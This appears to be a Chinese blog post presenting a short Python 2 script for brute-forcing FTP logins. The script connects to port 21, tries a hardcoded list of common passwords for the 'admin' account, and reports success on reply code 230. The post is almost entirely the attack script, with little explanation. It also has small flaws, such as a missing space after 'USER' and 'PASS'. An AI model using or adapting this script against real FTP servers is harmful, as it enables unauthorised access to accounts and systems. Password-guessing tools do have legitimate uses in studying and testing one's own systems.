用Python实现FTP暴力破解

#!/usr/bin/env python
#-*-coding:utf-8-*-
#用Python实现FTP暴力破解


#网络编程
#套接字socket
#BSD UNIX的进程通信机制
import socket,sys
def Connect(username,password):
<span style="white-space:pre">	</span>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #流失socket for  TCP
<span style="white-space:pre">	</span>print"[*]Tring"+username+":"+password
<span style="white-space:pre">	</span>s.connect(("127.0.0.1",21))
<span style="white-space:pre">	</span>data=s.recv(1024)
<span style="white-space:pre">	</span>s.send('USER'+username+'\r\n')
<span style="white-space:pre">	</span>data=s.recv(1024)
<span style="white-space:pre">	</span>s.send('PASS'+password+'\r\n')
<span style="white-space:pre">	</span>data=s.recv(3)  #3个字节
<span style="white-space:pre">	</span>s.send('QUIT\r\n')  #断开
<span style="white-space:pre">	</span>s.close()
<span style="white-space:pre">	</span>return data
if __name__=='__main__':
<span style="white-space:pre">	</span>username="admin"
<span style="white-space:pre">	</span>passwords=["admin","123456","root","admin123","guest","5201314","toor"]
<span style="white-space:pre">	</span>for password in passwords:
<span style="white-space:pre">		</span>attempt=Connect(username,password)
<span style="white-space:pre">		</span>if attempt=="230":
<span style="white-space:pre">			</span>print "[*]password fund:"+password
<span style="white-space:pre">			</span>sys.exit(0)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值